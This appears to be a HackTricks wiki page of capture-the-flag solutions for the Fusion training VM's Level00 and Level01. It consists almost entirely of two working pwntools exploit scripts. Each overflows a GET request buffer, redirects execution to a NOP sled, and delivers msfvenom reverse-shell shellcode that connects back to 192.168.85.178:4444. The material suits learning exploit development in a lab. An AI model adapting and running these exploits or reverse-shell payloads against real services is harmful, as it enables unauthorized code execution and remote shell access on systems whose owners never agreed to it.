HackTricks
Search…
Pentesting
Powered By GitBook
Fusion

Level00

    1.
    Get offset to modify EIP
    2.
    Put shellcode address in EIP
1
from pwn import *
2
3
r = remote("192.168.85.181", 20000)
4
5
buf = "GET " # Needed
6
buf += "A"*139 # Offset 139
7
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
8
buf += " HTTP/1.1" # Needed
9
buf += "\x90"*100 # NOPs
10
11
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
12
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
13
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
14
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
15
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
16
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
17
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
18
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
19
buf += "\x65\xd9\x0f\x01"
20
21
r.recvline()
22
r.send(buf)
23
r.interactive()
Copied!

Level01

1
from pwn import *
2
3
r = remote("192.168.85.181", 20001)
4
5
buf = "GET " # Needed
6
buf += "A"*139 # Offset 139
7
buf += p32(0x08049f4f) # Adress of: JMP esp
8
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
9
buf += " HTTP/1.1" # Needed
10
buf += "\x90"*100 # NOPs
11
12
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
13
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
14
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
15
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
16
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
17
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
18
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
19
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
20
buf += "\x65\xd9\x0f\x01"
21
22
r.send(buf)
23
r.interactive()
Copied!
Last modified 2yr ago
Copy link